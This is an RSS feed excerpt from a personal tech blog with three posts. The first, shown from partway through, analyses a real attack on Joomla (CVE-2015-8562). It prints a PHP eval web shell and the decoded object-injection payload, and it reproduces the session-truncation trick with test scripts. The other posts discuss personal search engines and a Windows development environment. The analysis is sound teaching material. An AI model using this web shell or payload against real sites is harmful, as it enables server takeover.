<pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span> <span class="hljs-keyword">eval</span>($_POST[<span class="hljs-number">1</span>]);<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>It's a simple PHP remote shell an attacker could use to run any PHP code on the machine. But why encode it with base64? The moment I saved the file of this post containing the code above I got an alert from the antivirus software that it found a backdoor, but it couldn't be bothered by the base64 encoded string.</p>
<p>The problem is that the original HTTP request wasn't for the <code>webconfig.txt.php</code> file so the remote shell couldn't run the code it got from the <code>1</code> parameter. And anyway, why would they send a command to the remote shell to create itself? There must be some naughtiness in the user agent.</p>
<h3>Code reuse</h3>
<p>After a bit of formatting and decoding, we got this:</p>
<pre><code>}__test|O:21:&quot;JDatabaseDriverMysqli&quot;:3:{
  s:2:&quot;fc&quot;;O:17:&quot;JSimplepieFactory&quot;:0:{}
  s:21:&quot;\0\0\0disconnectHandlers&quot;;a:1:{
    i:0;a:2:{
      i:0;O:9:&quot;SimplePie&quot;:5:{
        s:8:&quot;sanitize&quot;;O:20:&quot;JDatabaseDriverMysql&quot;:0:{}
        s:8:&quot;feed_url&quot;;s:46:&quot;eval($_REQUEST[1]);JFactory::getConfig();exit;&quot;;
        s:19:&quot;cache_name_function&quot;;s:6:&quot;assert&quot;;
        s:5:&quot;cache&quot;;b:1;
        s:11:&quot;cache_class&quot;;O:20:&quot;JDatabaseDriverMysql&quot;:0:{}
      }
      i:1;s:4:&quot;init&quot;;
    }
  }
  s:13:&quot;\0\0\0connection&quot;;b:1;
}\xF0\x9D\x8C\x86
</code></pre>
<p>There is no shortage of naughtiness here, that's for sure. It starts with a <code>}</code> character right away. That could be part of some kind of injection and they try to close the previous value with it.</p>
<p>The next part could remind experienced PHP developers of the output of the <code>serialize</code> function, but it's not quite the right format. The <code>session_encode</code> function has such a result and PHP stores the content of the session with this encoding. There is a strange <code>\xF0\x9D\x8C\x86</code> part at the end as well. I couldn't figure that out yet, but I'm sure it's up to no good.</p>
<p>It looks like they try to create a new variable in the session through the <code>User-Agent</code> header. This new <code>__test</code> variable would be an instance of the <code>JDatabaseDriverMysqli</code> class. It has an active connection (<code>connection</code> is <code>true</code>) and a disconnect handler, the <code>init</code> method should be called on an instance of the <code>SimplePie</code> class in case of disconnect. This already sounds a bit strange, but if we take a look at the value of the <code>feed_url</code>, it gets more suspicious:</p>
<pre><code class="hljs php"><span class="hljs-keyword">eval</span>($_REQUEST[<span class="hljs-number">1</span>]);JFactory::getConfig();<span class="hljs-keyword">exit</span>;
</code></pre>
<p>Yet another remote shell, just to be sure.</p>
<h3>Deep in the Joomla</h3>
<p>With the help of the class names starting with a <code>J</code>, we could figure out that it's about <a href="https://www.joomla.org/">Joomla</a>. With a bit more research we could even find <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8562">the vulnerability</a> as well which contains the exact version. Now we can check out the source code. The <a href="https://github.com/joomla/joomla-cms/blob/3.4.5/libraries/joomla/database/driver/mysqli.php#L199">relevant part of the <code>JDatabaseDriverMysqli</code> class</a>:</p>
<pre><code class="hljs php"><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-keyword">$this</span>-&gt;disconnect();
}

<span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">disconnect</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">$this</span>-&gt;connection)
    {
        <span class="hljs-keyword">foreach</span> (<span class="hljs-keyword">$this</span>-&gt;disconnectHandlers <span class="hljs-keyword">as</span> $h)
        {
            call_user_func_array($h, <span class="hljs-keyword">array</span>( &amp;<span class="hljs-keyword">$this</span>));
        }

        mysqli_close(<span class="hljs-keyword">$this</span>-&gt;connection);
    }

    <span class="hljs-keyword">$this</span>-&gt;connection = <span class="hljs-keyword">null</span>;
}
</code></pre>
<p>Before the removal of the object, it calls the <code>disconnect</code> method which runs all the disconnect handlers. In our case the <a href="https://github.com/joomla/joomla-cms/blob/3.4.5/libraries/simplepie/simplepie.php#L1504"><code>init</code> method of our suspicious <code>SimplePie</code> class</a>:</p>
<pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">init</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-comment">// ...</span>

    $cache = call_user_func(
        <span class="hljs-keyword">array</span>(<span class="hljs-keyword">$this</span>-&gt;cache_class, <span class="hljs-string">'create'</span>),
        <span class="hljs-keyword">$this</span>-&gt;cache_location,
        call_user_func(<span class="hljs-keyword">$this</span>-&gt;cache_name_function, <span class="hljs-keyword">$this</span>-&gt;feed_url),
        <span class="hljs-string">'spc'</span>
    );

    <span class="hljs-comment">// ...</span>
}
</code></pre>
<p>The interesting part for us is that it calls the <code>cache_name_function</code> with the <code>feed_url</code> as the parameter. With the data from the user agent, this would end up as the following function call:</p>
<pre><code class="hljs php">call_user_func(<span class="hljs-string">'assert'</span>, <span class="hljs-string">'eval($_REQUEST[1]);JFactory::getConfig();exit;'</span>);
</code></pre>
<p>It's quite an old vulnerability so it depends on the behaviour of the <code>assert</code> function before PHP 8.0.0. It runs the string it got as PHP code and checks the result. So this call would run the PHP code it got in the GET parameter.</p>
<p>We managed to solve the request, it's time to summarize what we found out:</p>
<ul>
<li>there is a PHP code in a GET parameter that would create a remote shell if it runs</li>
<li>the content of the user agent looks like an injection that would create a new variable in the session</li>
<li>the new variable is a carefully crafted object structure that would run the code in the GET parameter during the removal of the object</li>
</ul>
<p>Joomla at some point <a href="https://github.com/joomla/joomla-cms/blob/3.4.5/libraries/joomla/session/session.php#L1017">puts the user agent into the session</a>. Depending on the configuration this session could be stored in many places, but the default setting is that it <a href="https://github.com/joomla/joomla-cms/blob/3.4.5/libraries/joomla/session/storage/database.php#L77">gets saved in a MySQL table with the MySQLi driver</a>. Another important detail here is that it <a href="https://github.com/joomla/joomla-cms/blob/3.4.5/libraries/joomla/database/driver/mysqli.php#L675">sets the character set of the database connection to <code>utf8</code></a> (and most likely the database and the tables have the same <code>utf8</code> character set as well). But how would we end up with an injection?</p>
<h3>Strange behaviors</h3>
<p>We have two suspects remaining: the session handling of PHP and the data storage in MySQL. Let's start with the PHP. Here is a simple example to see how the <code>session_encode</code> works:</p>
<pre><code class="hljs php">session_start();

$_SESSION[<span class="hljs-string">'foo'</span>] = <span class="hljs-keyword">array</span>();
$_SESSION[<span class="hljs-string">'bar'</span>] = <span class="hljs-string">'something'</span>;

<span class="hljs-keyword">print</span>(session_encode() . <span class="hljs-string">"\n"</span>);
</code></pre>
<pre class="console"><code>$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}bar|s:9:&quot;something&quot;;
</code></pre>
<p>Now that we roughly know what the expected output looks like we can try to add some naughtiness to it:</p>
<pre><code class="hljs php">session_start();

$_SESSION[<span class="hljs-string">'foo'</span>] = <span class="hljs-keyword">array</span>();
$_SESSION[<span class="hljs-string">'evil'</span>] = <span class="hljs-string">"}__test|O:8:\"stdClass\":1:{s:4:\"evil\";b:1;}\xF0\x9D\x8C\x86"</span>;
$_SESSION[<span class="hljs-string">'bar'</span>] = <span class="hljs-string">'something'</span>;

<span class="hljs-keyword">print</span>(session_encode() . <span class="hljs-string">"\n"</span>);
</code></pre>
<pre class="console"><code>$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}evil|s:46:&quot;}__test|O:8:&quot;stdClass&quot;:1:{s:4:&quot;evil&quot;;b:1;}𝌆&quot;;bar|s:9:&quot;something&quot;;
</code></pre>
<p>Nothing exciting yet, it just runs <code>serialize</code> on our naughtiness. Even the strange <code>\xF0\x9D\x8C\x86</code> string turned out to be just a 4-byte UTF-8 character. But what happens if we try to decode this data?</p>
<pre><code class="hljs php">$data = session_encode();

$_SESSION = <span class="hljs-keyword">array</span>();
session_decode($data);

var_dump($_SESSION);
</code></pre>
<pre class="console"><code>$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
  [&quot;foo&quot;]=&gt;
  array(0) {
  }
  [&quot;evil&quot;]=&gt;
  string(46) &quot;}__test|O:8:&quot;stdClass&quot;:1:{s:4:&quot;evil&quot;;b:1;}𝌆&quot;
  [&quot;bar&quot;]=&gt;
  string(9) &quot;something&quot;
}
</code></pre>
<p>Absolutely nothing extraordinary. It's so disappointing. Maybe that <code>\xF0\x9D\x8C\x86</code> part is related to MySQL. Let's start a server and check it out.</p>
<pre class="file"><code>docker-compose.yml
</code></pre>
<pre><code class="hljs yaml"><span class="hljs-attr">version:</span> <span class="hljs-string">'3'</span>
<span class="hljs-attr">services:</span>
  <span class="hljs-attr">app:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">php:5.3.29</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">.:/app</span>
    <span class="hljs-attr">working_dir:</span> <span class="hljs-string">/app</span>
  <span class="hljs-attr">db:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">mysql:5.6.51</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">MYSQL_ROOT_PASSWORD:</span> <span class="hljs-string">secret</span>
      <span class="hljs-attr">MYSQL_DATABASE:</span> <span class="hljs-string">test</span>
</code></pre>
<p>Our little test script connects to the database, sets the character set of the connection to <code>utf8</code>, creates a table with the same character set, and inserts a row that contains our naughty little byte sequence in the middle. And finally, we read the data back.</p>
<pre><code class="hljs php">$db = <span class="hljs-keyword">new</span> mysqli(<span class="hljs-string">'db'</span>, <span class="hljs-string">'root'</span>, <span class="hljs-string">'secret'</span>, <span class="hljs-string">'test'</span>);
$db-&gt;set_charset(<span class="hljs-string">'utf8'</span>);

$db-&gt;query(<span class="hljs-string">"CREATE TABLE test (id INTEGER NOT NULL AUTO_INCREMENT PRIMARY KEY, data TEXT NOT NULL) CHARACTER SET utf8"</span>);

$stmt = $db-&gt;prepare(<span class="hljs-string">"INSERT INTO test (data) VALUES (?)"</span>);

$data = <span class="hljs-string">"foo\xF0\x9D\x8C\x86bar"</span>;

$stmt-&gt;bind_param(<span class="hljs-string">'s'</span>, $data);
$stmt-&gt;execute();

$result = $db-&gt;query(<span class="hljs-string">"SELECT * FROM test"</span>);
var_dump($result-&gt;fetch_assoc());

$db-&gt;query(<span class="hljs-string">"DROP TABLE test"</span>);
</code></pre>
<pre class="console"><code>$ docker-compose run --rm app php test.php
array(2) {
  [&quot;id&quot;]=&gt;
  string(1) &quot;1&quot;
  [&quot;data&quot;]=&gt;
  string(3) &quot;foo&quot;
}
</code></pre>
<p>At long last, something is happening. Part of the original data with our naughty string vanished.</p>
<p>The trick is that the <code>utf8</code> character set (its full name is <code>utf8mb3</code>, also known as <a href="https://dev.mysql.com/doc/refman/5.7/en/charset-unicode-utf8mb3.html">3-Byte UTF-8 Unicode Encoding</a>) isn't able to handle 4-byte UTF-8 characters (there is another character set for that called <code>utf8mb4</code>). If it encounters such a byte sequence it discards it with the rest of the data as well. It only stores the data up until the invalid character.</p>
<p>Let's look at the <code>session_decode</code> again to see what would happen if we simulate this behavior:</p>
<pre><code class="hljs php">$data = session_encode();
$data = substr($data, <span class="hljs-number">0</span>, strpos($data, <span class="hljs-string">"\xF0\x9D\x8C\x86"</span>));

$_SESSION = <span class="hljs-keyword">array</span>();
session_decode($data);

var_dump($_SESSION);
</code></pre>
<pre class="console"><code>$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
  [&quot;foo&quot;]=&gt;
  array(0) {
  }
  [&quot;evil&quot;]=&gt;
  NULL
  [&quot;46:&quot;}__test&quot;]=&gt;
  object(stdClass)#1 (1) {
    [&quot;evil&quot;]=&gt;
    bool(true)
  }
}
</code></pre>
<p>Looks like PHP handles incomplete session data rather poorly. With that, we finally have the last piece of the puzzle in its place. We managed the reproduce the behavior that leads to the creation of a remote shell on the server by that remarkably strange HTTP request.</p>
<p>Observant readers may have spotted that I used quite an old version of PHP and MySQL in the examples. The reason is simple, in more recent versions this would not work.</p>
<p>Inserting our naughty little byte sequence in MySQL 5.7.42:</p>
<pre class="console"><code>$ docker-compose run --rm app php test.php
Fatal error: Uncaught exception 'mysqli_sql_exception' with message 'Incorrect string value: '\xF0\x9D\x8C\x86ba...' for column 'data' at row 1' in /app/test.php:14
Stack trace:
#0 /app/test.php(14): mysqli_stmt-&gt;execute()
#1 {main}
  thrown in /app/test.php on line 14
</code></pre>
<p>Decoding mangled session data in PHP 5.4.45:</p>
<pre class="console"><code>$ docker run --rm --volume $(pwd):/app --workdir /app php:5.4.45 php test.php
Warning: session_decode(): Failed to decode session object. Session has been destroyed in /app/test.php on line 43
array(1) {
  [&quot;foo&quot;]=&gt;
  array(0) {
  }
}
</code></pre>
<h3>Summary</h3>
<p>It was a long journey, let's review what it took to exploit this vulnerability:</p>
<ul>
<li>an older version of PHP and MySQL (at the time of the publication of this vulnerability PHP 5.4 and MySQL 5.7 have been available for years)</li>
<li>storing the session in MySQL in a table with a <code>utf8</code> character set and with a database connection with a <code>utf8</code> character set as well</li>
<li>storing untrusted user data in the session</li>
<li>the existence of classes in the code that, if combined in an unusual way, will eventually successfully execute a string as PHP code</li>
</ul>
<p>What's the lesson learned? I don't know... things could go sideways even if you do everything right? In any case, remember this little investigation the next time you think that a potential vulnerability (be it in a library you use, the interpreter of your language of choice, or the database) cannot be exploited through your code.</p>
<h3>Further reading</h3>
<ul>
<li><a href="https://websec.files.wordpress.com/2010/11/rips_ccs.pdf">Code Reuse Attacks in PHP: Automated POP Chain Generation</a></li>
<li><a href="https://blog.cloudflare.com/the-joomla-unserialize-vulnerability/">A Different Kind of POP: The Joomla Unserialize Vulnerability</a></li>
<li><a href="https://www.owasp.org/index.php/PHP_Object_Injection">OWASP: PHP Object Injection</a></li>
</ul>

]]></content:encoded>
        </item>
            <item>
            <title>Needle in the haystack</title>
            <link>https://deadlime.hu/en/2023/07/01/needle-in-the-haystack/</link>
            <pubDate>Sat, 01 Jul 2023 15:34:12 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[search]]></category>
                    
            <guid isPermaLink="false">de1785abbd1ea4434a9c5e0ef35eded4</guid>
            <description>Is it just a dream to have your own search engine?</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/crawler.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Our topic for today, dear reader, is a little thought experiment: what if everyone had their own personalized (even local) search engine, instead of having to use central providers (DuckDuckGo, Google, Bing, and others)?</p>
<p>Obviously, from a privacy perspective, it would be a huge step forward if giant corporations wouldn't be able to collect who knows what kind of data about everyone in the world, and then to do who knows what with it. But is it technologically feasible?</p>
<h3>The search engine</h3>
<p>Before we get into details, let's take a broad look at how a search engine might work.</p>
<h4>Download</h4>
<p>There are programs called crawlers that visit a page, download its HTML source, extract links from it, visit those pages as well, extract links from them, and so on. Well-behaving crawlers respect the <a href="https://en.wikipedia.org/wiki/Robots.txt">robots.txt</a> and site owners can make their work easier by creating a <a href="https://en.wikipedia.org/wiki/Sitemaps">sitemap.xml</a>.</p>
<h4>Processing</h4>
<p>From the many-many HTML source files, data should be extracted. Most likely we would also need some context about where the text was found (e.g. page header or footer text), which can then be used later for ordering our search results. Additional metadata can be extracted if the website is using <a href="https://en.wikipedia.org/wiki/Facebook_Platform#Open_Graph_protocol">Open Graph</a>, <a href="https://en.wikipedia.org/wiki/Microformat">Microformats</a>, or <a href="https://en.wikipedia.org/wiki/Schema.org">Schema.org</a> protocols.</p>
<h4>Storage</h4>
<p>We have a couple of options here, based on the amount of data we are willing to store. We will definitely need an index that tells us all the pages that contain a word or phrase. If we also want to display the context where we found that phrase on the results page, we also need to store the data extracted by the processing step. If we want to display the web page from which the index was generated, we will need to store the full HTML page as well.</p>
<h4>Search</h4>
<p>A (web) application that converts a search term entered by a user into a database query and displays the results.</p>
<h3>Download the Internet</h3>
<p>So our first problem is the crawler. According to the Internet, there are roughly 400 million active websites today. Even if each of them has only 10 pages (probably a huge underestimation), we are talking about 4 billion pages we need to visit. If we can download every page in 100ms and extract links from it (also a highly optimistic estimate), it would take a crawler more than 12 years to visit everything. A thousand parallel crawlers could finish in 4-5 days... but it sure would be exciting to see billions of people sending thousands of crawlers to the Internet to build their own index.</p>
<p>And that was a very optimistic estimate. How much?</p>
<p>Just think about the fact that nowadays the f...antastic developers like to build websites that are unable to work without downloading and running (multiple megabytes of) JavaScript. So we might need a headless browser to extract the final HTML, which certainly won't finish in 100ms. That would be at least one (but maybe more like two) orders of magnitude slower.</p>
<p>Processing at this scale would also probably be too time-consuming and resource-intensive. Even if they would all be hand-crafted, minimalistic, syntactically, and semantically correct HTML pages... but obviously this is far from the reality. And then there are the SEO tricks, like text that is invisible to the user but present to the crawler and similar naughty things. We should filter out those as well.</p>
<p>Storage has similar problems. Google claims that its index is over 100,000,000 gigabytes in size. Even if it's mostly images and videos, this is way too much to store comfortably on a desktop computer. So it seems that there are problems with three of the four parts (download, processing, and storage). We are up to a bad start.</p>
<h3>Alternative solutions</h3>
<p>The overload caused by the crawlers could be solved by allowing crawlers to talk to each other about who has been where and exchange information. Although I don't know how we could do this safely so that a rogue crawler can't poison others with false information. And this doesn't help with the amount of data either.</p>
<p>But do we really need the <em>whole</em> Internet? Chances are that we are only interested in content in one or two languages other than our own, and we wouldn't need all of that data either. If we could somehow pick that one percent of the Internet we are interested in, then maybe we could make our own search engine work. We could enter pages into our personal search engine that we think are important enough to crawl, and then go through the external links on those sites, and so on. In the end, we would have a manageable amount of HTML files that could probably be stored on our computer.</p>
<p>In the end, however, it doesn't seem economical (or even possible) to have everyone run their own crawlers and produce their own index, but that doesn't necessarily mean that everyone can't have their own copy of the index. There could be, say, some open index format or database structure and anyone could publish their own indices.</p>
<p>The possibilities are endless, but let's take a look at some ideas for inspiration:</p>
<ul>
<li>thematic indices, like an index for programmers, with documentations, StackOverflow, and more</li>
<li>big sites could publish their own index of their content (no crawling is needed, but in return, you trust them that the index and the real content of the site are the same)</li>
<li>location-based indices, when you need to find all the ice cream shops in Prague</li>
<li>companies that produce paid indices</li>
<li>libraries, and public organizations that would make indices of content in their own language</li>
<li>indices of non-profit organizations, such as archive.org, which already has such data anyway</li>
<li>frequently updated news-like indices</li>
<li>infrequently updated encyclopedia-like indices</li>
<li>the index of your neighbor Joe, which is created from his favorite websites</li>
</ul>
<p>Users could load the indices of their choice into their personal search engine, deleting parts that are not relevant to them to save space or get better results. During the search, they could choose which indices to search in.</p>
<p>From here on, the choice of index providers would determine the quality of the results. I suppose, over time, the good providers would rise to the top, and there would be know-how about index customizations. Any time when the quality of an index deteriorates, or it's not fresh enough, one would have the option to look for a new provider. And for the more tech-savvy, there would still be the option to start their own crawler and build their own index (which they can then sell to others).</p>
<p>Not much has been said about the search interface itself, but that part seems pretty straightforward. Since the index/database has an open format, anyone could build software on it. There would probably be some great open-source alternatives, either as a desktop application or as a web application that could be self-hosted on a server. And there would be plug-ins for these applications that could add calculators, currency converters, search history, and who knows what else to the basic functionality.</p>
<h3>Summary</h3>
<p>I have a few more little ideas here and there, but I didn't want to ramble too much. Let's get back to the original question. Is it just a dream to have your own search engine? If you want to search the whole Internet: yes. But you don't necessarily need the whole Internet to be happy (or to have a search engine that works well). With the right index providers and index sizes that are acceptable to the end user, I think it could work.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Beyond the Windows</title>
            <link>https://deadlime.hu/en/2023/06/24/beyond-the-windows/</link>
            <pubDate>Sat, 24 Jun 2023 14:04:18 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Docker]]></category>
                    <category><![CDATA[Samba]]></category>
                    <category><![CDATA[GnuPG]]></category>
                    <category><![CDATA[Hyper-V]]></category>
                    <category><![CDATA[Windows]]></category>
                    <category><![CDATA[development]]></category>
                    
            <guid isPermaLink="false">1a2cc222b96372f72fb72d6e8f7a0796</guid>
            <description>A guided tour of my development environment</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/developers.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Web developers at work; late work of Leonardo da Vinci</p>

<p>Sometimes I feel like an endangered species among all the half-eaten apples, so I'll tell you a little bit about what my development environment looks like as a (web) developer on Windows.</p>
<blockquote>
<p><em>As the rays of the Sun slowly penetrate the three layers of tempered glass, one of the most extraordinary creatures in the northern hemisphere can be seen - Scriptor fenestralis, better known as the web developer on Windows.</em><br />
<br />
<em>Their natural habitat is an ideal combination of artificial lighting and cool temperatures, creating an optimal environment for mentally challenging work.</em></p>
</blockquote>
<p>In short: it's a Windows host machine running a Debian-based virtual machine with Hyper-V. Within that, I use Docker to run specific projects. It's not fancy technology by any stretch of the imagination, but I haven't had the urge to experiment with WSL2 more seriously. But let's get into the details.</p>
<h3>The physical machine</h3>
<p>I used to use VirtualBox, but then I switched to Hyper-V, because it's already included in Windows, you just have to turn it on. Also, I thought, if it's an official virtualization platform, it might work better. I don't have anything to back this up, one thing I can think of is that the virtual machine starts when the machine starts, but maybe you could do that with VirtualBox as well.</p>
<h4>Networking</h4>
<p>If you want to access your virtual machine (or the Internet from your virtual machine), you need to set up a network for it. Here we can go in two directions, we can use either an <code>External switch</code> or an <code>Internal switch</code> (there is also a <code>Private switch</code>, but that doesn't help us now).</p>
<p>On my desktop machine, I went with the <code>External switch</code> option, connected it with the network card that the machine gets Internet on and that's pretty much it. The virtual machine also appears to the router as if it were a physical machine on the network. Based on its MAC address, I gave it a fixed IP address on the DHCP server and a host on the DNS server that resolves to that IP address (<code>devbox.lan</code>).</p>
<p>This may be an acceptable solution for a desktop machine that is rarely moved, but what about a laptop for example where you may not have access to all the routers to configure this? An <code>Internal switch</code> could work in this case. I configured it with the following PowerShell commands:</p>
<pre><code class="hljs powershell">&gt; <span class="hljs-built_in">New-VMSwitch</span> <span class="hljs-literal">-SwitchName</span> <span class="hljs-string">"Internal"</span> <span class="hljs-literal">-SwitchType</span> Internal
&gt; <span class="hljs-built_in">New-NetIPAddress</span> <span class="hljs-literal">-IPAddress</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">56.1</span> <span class="hljs-literal">-PrefixLength</span> <span class="hljs-number">24</span> <span class="hljs-literal">-DefaultGateway</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">56.1</span> <span class="hljs-literal">-InterfaceAlias</span> <span class="hljs-string">"vEthernet (Internal)"</span>
&gt; <span class="hljs-built_in">New-NetNAT</span> <span class="hljs-literal">-Name</span> <span class="hljs-string">"InternalNatNetwork"</span> <span class="hljs-literal">-InternalIPInterfaceAddressPrefix</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">56.0</span>/<span class="hljs-number">24</span>
</code></pre>
<p>We are using the <code>192.168.56.0/24</code> subnet, but without DHCP we don't get an IP address automatically. We have to specify a fixed IP address inside the virtual machine. For Debian, something like this in <code>/etc/network/interfaces</code> should work:</p>
<pre><code class="hljs yaml"><span class="hljs-string">iface</span> <span class="hljs-string">eth0</span> <span class="hljs-string">inet</span> <span class="hljs-string">static</span>
  <span class="hljs-string">address</span> <span class="hljs-number">192.168</span><span class="hljs-number">.56</span><span class="hljs-number">.101</span>
  <span class="hljs-string">netmask</span> <span class="hljs-number">255.255</span><span class="hljs-number">.255</span><span class="hljs-number">.0</span>
  <span class="hljs-string">gateway</span> <span class="hljs-number">192.168</span><span class="hljs-number">.56</span><span class="hljs-number">.1</span>
</code></pre>
<p>If you also need a host for it, you can add the following line to the <code>C:\Windows\System32\drivers\etc\hosts</code> file:</p>
<pre><code>192.168.56.101 devbox.lan
</code></pre>
<p>Sometimes it is necessary to access a port of the virtual machine on <code>localhost</code> (if something inside the virtual machine is running on port 8080, I can access it on <code>localhost:8080</code>). To do this, I initially used the following PowerShell command:</p>
<pre><code class="hljs powershell">&gt; <span class="hljs-built_in">Add-NetNatStaticMapping</span> <span class="hljs-literal">-NatName</span> <span class="hljs-string">"InternalNatNetwork"</span> <span class="hljs-literal">-Protocol</span> TCP <span class="hljs-literal">-ExternalIPAddress</span> <span class="hljs-number">0.0</span>.<span class="hljs-number">0.0</span> <span class="hljs-literal">-InternalIPAddress</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">56.101</span> <span class="hljs-literal">-InternalPort</span> <span class="hljs-number">8080</span> <span class="hljs-literal">-ExternalPort</span> <span class="hljs-number">8080</span>
</code></pre>
<p>This started to not work after a while. I don't know what happened to it, but after some digging, I found another command instead.</p>
<pre><code class="hljs powershell">&gt; netsh interface portproxy add v4tov4 listenport=<span class="hljs-number">8080</span> listenaddress=<span class="hljs-number">0.0</span>.<span class="hljs-number">0.0</span> connectport=<span class="hljs-number">8080</span> connectaddress=<span class="hljs-number">192.168</span>.<span class="hljs-number">56.101</span>
</code></pre>
<p>In hindsight, it might have been easier to just use SSH port forwarding. What a delightful discovery to make during writing this post.</p>
<h4>GUI applications</h4>
<p>The physical machine is running <a href="https://sourceforge.net/projects/vcxsrv/">VcXsrv</a>, which is an X server running on Windows. Within the virtual Linux, I can use it to launch windowed applications that can be used as Windows applications. Usually the IDE I'm currently using runs inside the virtual machine with this method because it's easier to access Linux/Docker stuff inside the virtual machine and there are fewer problems around file permissions.</p>
<h4>SSH</h4>
<p>I use a GPG key stored on a <a href="https://www.yubico.com/products/yubikey-5-overview/">YubiKey</a> for SSH authentication. The GPG agent in <a href="https://www.gpg4win.org/">Gpg4win</a> is configured to both handle the YubiKey and to offer the key to the SSH agent:</p>
<pre class="file"><code>scdaemon.conf
</code></pre>
<pre><code>reader-port Yubico Yubi
pcsc-shared
disable-application piv
</code></pre>
<pre class="file"><code>gpg-agent.conf
</code></pre>
<pre><code>enable-ssh-support
enable-putty-support
</code></pre>
<p><a id="cite_ref-1"></a>PuTTY is used as SSH client (although Windows Terminal is quite promising, but last time I checked it didn't want to work with the GPG agent). Agent forwarding<a href="#cite_note-1" class="note"><sup>[1]</sup></a> is enabled so that the virtual machine can use the key on the YubiKey.</p>
<p>Also, my Linux home directory is mounted as a network drive (<code>P:\</code>) to make it easier to move files between the two machines.</p>
<h3>The virtual machine</h3>
<p>This part is pretty basic, a simple Debian or Ubuntu server that I set up using Ansible. After SSHing in, I'm greeted by a Bash with the default settings (apart from a few aliases) and I usually start a <a href="https://github.com/tmux/tmux#readme">Tmux</a> alongside. If I'm in the mood, I'll use <a href="https://github.com/powerline/powerline">Powerline</a> (and its associated <a href="https://github.com/powerline/fonts/tree/master/DejaVuSansMono">DejaVu Sans Mono</a> font) to make them look fancy a bit.</p>
<h4>Samba</h4>
<p>There is a Samba on the machine because of the network drive. I found some <a href="https://www.google.com/search?hl=en&amp;q=samba%20performance%20tuning">performance-boosting settings on the net</a> that I use with it:</p>
<pre class="file"><code>/etc/samba/smb.conf
</code></pre>
<pre><code>read raw = yes
write raw = yes
socket options = TCP_NODELAY IPTOS_LOWDELAY SO_RCVBUF=131072 SO_SNDBUF=131072 SO_KEEPALIVE
use sendfile = yes
aio read size = 16384
aio write size = 16384
oplocks = yes
max xmit = 65535
dead time = 15
getwd cache = yes
</code></pre>
<h4>Docker</h4>
<p>Last but not least, Docker is added for the projects. All the other stuff will hopefully run inside Docker. Speaking of Docker, we should talk a bit about its network setup.</p>
<p>If you let it run wild, there's a small chance that sooner or later it will create a network that conflicts with one of your other local networks and things will start to get weird. To prevent this, it's worth adding something like this to your settings:</p>
<pre class="file"><code>/etc/docker/daemon.json
</code></pre>
<pre><code class="hljs json">{
  <span class="hljs-attr">"bip"</span>: <span class="hljs-string">"172.20.0.1/16"</span>,
  <span class="hljs-attr">"default-address-pools"</span>: [
    {<span class="hljs-attr">"base"</span>: <span class="hljs-string">"172.21.0.0/16"</span>, <span class="hljs-attr">"size"</span>: <span class="hljs-number">24</span>}
  ]
}
</code></pre>
<p>So you can have ~250 networks with ~250 machines per network, which is probably more than enough for a development machine, but you can add more domains to the <code>default-address-pools</code> section if you run out of them.</p>
<p>That brings us to the end of the tour, I hope you enjoyed the trip. We've scratched the surface of quite a lot of things, but this is probably enough to get you started on this bumpy road.<br />
Having said that, I can probably admit now that I'm not sure I could recommend this setup to anyone. I am comfortable with it enough not to change for the time being, but I am still looking for other possible alternatives.</p>
<hr />
<h3>Notes</h3>
<p><a id="cite_note-1"></a>1. <a href="#cite_ref-1" class="note">↑</a> It is often said that agent forwarding is not a good idea, because the socket will be available to others on the target machine if they have enough privileges (e.g. root), but this is not a threat in our case.</p>

]]></content:encoded>
        </item>
        </channel>
</rss>
